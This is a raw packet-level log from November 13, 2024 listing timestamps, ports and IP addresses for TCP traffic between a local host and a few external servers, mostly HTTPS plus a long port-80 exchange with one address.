Nov 13, 2024 18:08:32.384439945 CET	49904	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:32.384675026 CET	49904	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:32.384687901 CET	443	49904	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:32.444035053 CET	443	49889	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:32.444190979 CET	443	49889	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:32.444497108 CET	49889	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:32.448100090 CET	49889	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:32.448107958 CET	443	49889	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:32.448374033 CET	49889	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:32.448379040 CET	443	49889	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:32.450895071 CET	49905	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:32.450911999 CET	443	49905	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:32.451190948 CET	49905	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:32.451617002 CET	49905	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:32.451632977 CET	443	49905	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:32.557651997 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:32.562958002 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:32.690201998 CET	443	49896	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:32.691694975 CET	49896	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:32.691731930 CET	443	49896	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:32.692178965 CET	49896	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:32.692184925 CET	443	49896	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:32.711792946 CET	443	49895	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:32.712330103 CET	49895	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:32.712373018 CET	443	49895	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:32.712805033 CET	49895	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:32.712810993 CET	443	49895	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:32.714037895 CET	443	49898	162.159.61.3	192.168.2.6
Nov 13, 2024 18:08:32.714628935 CET	49898	443	192.168.2.6	162.159.61.3
Nov 13, 2024 18:08:32.714646101 CET	443	49898	162.159.61.3	192.168.2.6
Nov 13, 2024 18:08:32.716136932 CET	443	49898	162.159.61.3	192.168.2.6
Nov 13, 2024 18:08:32.716308117 CET	49898	443	192.168.2.6	162.159.61.3
Nov 13, 2024 18:08:32.716604948 CET	49898	443	192.168.2.6	162.159.61.3
Nov 13, 2024 18:08:32.716696978 CET	443	49898	162.159.61.3	192.168.2.6
Nov 13, 2024 18:08:32.716752052 CET	49898	443	192.168.2.6	162.159.61.3
Nov 13, 2024 18:08:32.719935894 CET	443	49900	162.159.61.3	192.168.2.6
Nov 13, 2024 18:08:32.720278978 CET	49900	443	192.168.2.6	162.159.61.3
Nov 13, 2024 18:08:32.720294952 CET	443	49900	162.159.61.3	192.168.2.6
Nov 13, 2024 18:08:32.721333981 CET	443	49900	162.159.61.3	192.168.2.6
Nov 13, 2024 18:08:32.721400976 CET	49900	443	192.168.2.6	162.159.61.3
Nov 13, 2024 18:08:32.721745968 CET	443	49899	162.159.61.3	192.168.2.6
Nov 13, 2024 18:08:32.724102020 CET	49900	443	192.168.2.6	162.159.61.3
Nov 13, 2024 18:08:32.724172115 CET	443	49900	162.159.61.3	192.168.2.6
Nov 13, 2024 18:08:32.724370003 CET	49899	443	192.168.2.6	162.159.61.3
Nov 13, 2024 18:08:32.724436045 CET	443	49899	162.159.61.3	192.168.2.6
Nov 13, 2024 18:08:32.725874901 CET	443	49899	162.159.61.3	192.168.2.6
Nov 13, 2024 18:08:32.725951910 CET	49899	443	192.168.2.6	162.159.61.3
Nov 13, 2024 18:08:32.726394892 CET	49899	443	192.168.2.6	162.159.61.3
Nov 13, 2024 18:08:32.726497889 CET	443	49899	162.159.61.3	192.168.2.6
Nov 13, 2024 18:08:32.744234085 CET	443	49897	162.159.61.3	192.168.2.6
Nov 13, 2024 18:08:32.744534969 CET	49897	443	192.168.2.6	162.159.61.3
Nov 13, 2024 18:08:32.744553089 CET	443	49897	162.159.61.3	192.168.2.6
Nov 13, 2024 18:08:32.744908094 CET	443	49897	162.159.61.3	192.168.2.6
Nov 13, 2024 18:08:32.745239973 CET	49897	443	192.168.2.6	162.159.61.3
Nov 13, 2024 18:08:32.745315075 CET	443	49897	162.159.61.3	192.168.2.6
Nov 13, 2024 18:08:32.759366035 CET	443	49898	162.159.61.3	192.168.2.6
Nov 13, 2024 18:08:32.785933971 CET	443	49901	162.159.61.3	192.168.2.6
Nov 13, 2024 18:08:32.786401987 CET	49901	443	192.168.2.6	162.159.61.3
Nov 13, 2024 18:08:32.786427975 CET	443	49901	162.159.61.3	192.168.2.6
Nov 13, 2024 18:08:32.787435055 CET	443	49901	162.159.61.3	192.168.2.6
Nov 13, 2024 18:08:32.787532091 CET	49901	443	192.168.2.6	162.159.61.3
Nov 13, 2024 18:08:32.788027048 CET	49901	443	192.168.2.6	162.159.61.3
Nov 13, 2024 18:08:32.788084030 CET	443	49901	162.159.61.3	192.168.2.6
Nov 13, 2024 18:08:32.803129911 CET	49898	443	192.168.2.6	162.159.61.3
Nov 13, 2024 18:08:32.803148031 CET	443	49898	162.159.61.3	192.168.2.6
Nov 13, 2024 18:08:32.815918922 CET	49908	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:32.815951109 CET	443	49908	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:32.816135883 CET	49908	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:32.816217899 CET	49909	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:32.816304922 CET	443	49909	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:32.816384077 CET	49908	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:32.816394091 CET	443	49908	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:32.816394091 CET	49909	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:32.816617966 CET	49909	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:32.816658974 CET	443	49909	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:32.839399099 CET	443	49896	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:32.839488983 CET	443	49896	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:32.839772940 CET	49896	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:32.839772940 CET	49896	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:32.839772940 CET	49896	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:32.842330933 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:32.842595100 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:32.842648029 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:32.842781067 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:32.842861891 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:32.842873096 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:32.842902899 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:32.842936039 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:32.843132019 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:32.843141079 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:32.843151093 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:32.843162060 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:32.843170881 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:32.843180895 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:32.843218088 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:32.843341112 CET	49910	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:32.843355894 CET	443	49910	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:32.843378067 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:32.843389034 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:32.843456984 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:32.843456984 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:32.843561888 CET	49910	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:32.843647003 CET	49910	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:32.843657017 CET	443	49910	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:32.847851038 CET	443	49898	162.159.61.3	192.168.2.6
Nov 13, 2024 18:08:32.848082066 CET	49898	443	192.168.2.6	162.159.61.3
Nov 13, 2024 18:08:32.848427057 CET	49898	443	192.168.2.6	162.159.61.3
Nov 13, 2024 18:08:32.848436117 CET	443	49898	162.159.61.3	192.168.2.6
Nov 13, 2024 18:08:32.848598957 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:32.848653078 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:32.848664045 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:32.848680019 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:32.848705053 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:32.855679989 CET	443	49895	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:32.855737925 CET	443	49895	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:32.855801105 CET	49895	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:32.856125116 CET	49895	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:32.856138945 CET	443	49895	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:32.856148958 CET	49895	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:32.856154919 CET	443	49895	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:32.858838081 CET	49911	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:32.858923912 CET	443	49911	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:32.859014988 CET	49911	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:32.859158039 CET	49911	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:32.859193087 CET	443	49911	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:32.931349993 CET	443	49900	162.159.61.3	192.168.2.6
Nov 13, 2024 18:08:32.931407928 CET	49900	443	192.168.2.6	162.159.61.3
Nov 13, 2024 18:08:32.931432009 CET	443	49899	162.159.61.3	192.168.2.6
Nov 13, 2024 18:08:32.931552887 CET	49899	443	192.168.2.6	162.159.61.3
Nov 13, 2024 18:08:32.936300039 CET	49901	443	192.168.2.6	162.159.61.3
Nov 13, 2024 18:08:32.936320066 CET	443	49901	162.159.61.3	192.168.2.6
Nov 13, 2024 18:08:32.951328039 CET	443	49897	162.159.61.3	192.168.2.6
Nov 13, 2024 18:08:32.951410055 CET	49897	443	192.168.2.6	162.159.61.3
Nov 13, 2024 18:08:33.003014088 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.003025055 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.003034115 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.003096104 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.003130913 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.003259897 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.003271103 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.003281116 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.003289938 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.003300905 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.003319025 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.003345013 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.003948927 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.004168034 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.004178047 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.004189014 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.004200935 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.004211903 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.004223108 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.004223108 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.004240990 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.004262924 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.004939079 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.005217075 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.005225897 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.005235910 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.005248070 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.005259037 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.005269051 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.005294085 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.005723000 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.005744934 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.005757093 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.005767107 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.005805969 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.005959034 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.005971909 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.006015062 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.006496906 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.006546021 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.026956081 CET	443	49903	162.159.61.3	192.168.2.6
Nov 13, 2024 18:08:33.027195930 CET	49903	443	192.168.2.6	162.159.61.3
Nov 13, 2024 18:08:33.027218103 CET	443	49903	162.159.61.3	192.168.2.6
Nov 13, 2024 18:08:33.027518988 CET	443	49903	162.159.61.3	192.168.2.6
Nov 13, 2024 18:08:33.027781963 CET	49903	443	192.168.2.6	162.159.61.3
Nov 13, 2024 18:08:33.027842045 CET	443	49903	162.159.61.3	192.168.2.6
Nov 13, 2024 18:08:33.045687914 CET	49901	443	192.168.2.6	162.159.61.3
Nov 13, 2024 18:08:33.060806990 CET	443	49902	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.061474085 CET	49902	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:33.061562061 CET	443	49902	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.061825037 CET	49902	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:33.061841011 CET	443	49902	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.143580914 CET	443	49904	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.144109011 CET	49904	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:33.144136906 CET	443	49904	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.144558907 CET	49904	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:33.144566059 CET	443	49904	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.163506031 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.163527966 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.163537979 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.163564920 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.163600922 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.163718939 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.163733006 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.163744926 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.163777113 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.163803101 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.163911104 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.163955927 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.163968086 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.163985014 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.164000988 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.164031029 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.164400101 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.164412975 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.164424896 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.164438009 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.164479971 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.164505959 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.164637089 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.164738894 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.165004969 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.165019989 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.165035963 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.165047884 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.165070057 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.165225983 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.165237904 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.165249109 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.165275097 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.165291071 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.165540934 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.165553093 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.165565014 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.165590048 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.165617943 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.165676117 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.165688992 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.165700912 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.165752888 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.166131973 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.166151047 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.166169882 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.166177034 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.166182041 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.166193962 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.166196108 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.166245937 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.166245937 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.166676998 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.166723967 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.166728020 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.166735888 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.166771889 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.166937113 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.166949034 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.166960001 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.166974068 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.166989088 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.167002916 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.167601109 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.167613983 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.167625904 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.167650938 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.167678118 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.167686939 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.167699099 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.167711020 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.167725086 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.167747021 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.167774916 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.168365002 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.168414116 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.168538094 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.168585062 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.191443920 CET	443	49902	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.191720963 CET	443	49902	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.191771030 CET	443	49902	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.191776991 CET	49902	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:33.191847086 CET	49902	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:33.191895962 CET	49902	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:33.191895962 CET	49902	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:33.191940069 CET	443	49902	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.191970110 CET	443	49902	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.195301056 CET	49914	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:33.195327997 CET	443	49914	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.195508003 CET	49914	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:33.195672989 CET	49914	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:33.195687056 CET	443	49914	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.197920084 CET	443	49905	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.198311090 CET	49905	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:33.198333025 CET	443	49905	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.198751926 CET	49905	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:33.198756933 CET	443	49905	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.233181953 CET	49903	443	192.168.2.6	162.159.61.3
Nov 13, 2024 18:08:33.233311892 CET	49896	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:33.233325005 CET	443	49896	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.271208048 CET	443	49904	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.271657944 CET	443	49904	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.271770954 CET	49904	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:33.272362947 CET	49904	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:33.272382021 CET	443	49904	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.272391081 CET	49904	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:33.272396088 CET	443	49904	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.276738882 CET	49915	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:33.276774883 CET	443	49915	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.276968956 CET	49915	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:33.277439117 CET	49915	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:33.277462959 CET	443	49915	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.330210924 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.330224991 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.330246925 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.330259085 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.330265045 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.330276966 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.330282927 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.330282927 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.330291033 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.330302000 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.330305099 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.330322027 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.330337048 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.330971003 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.330981970 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.330991983 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.331001997 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.331012964 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.331013918 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.331022978 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.331034899 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.331038952 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.331047058 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.331053019 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.331058979 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.331079960 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.331101894 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.331254959 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.331265926 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.331276894 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.331288099 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.331298113 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.331300020 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.331309080 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.331326008 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.331326008 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.331337929 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.331337929 CET	80	49864	185.215.113.206	192.168.2.6
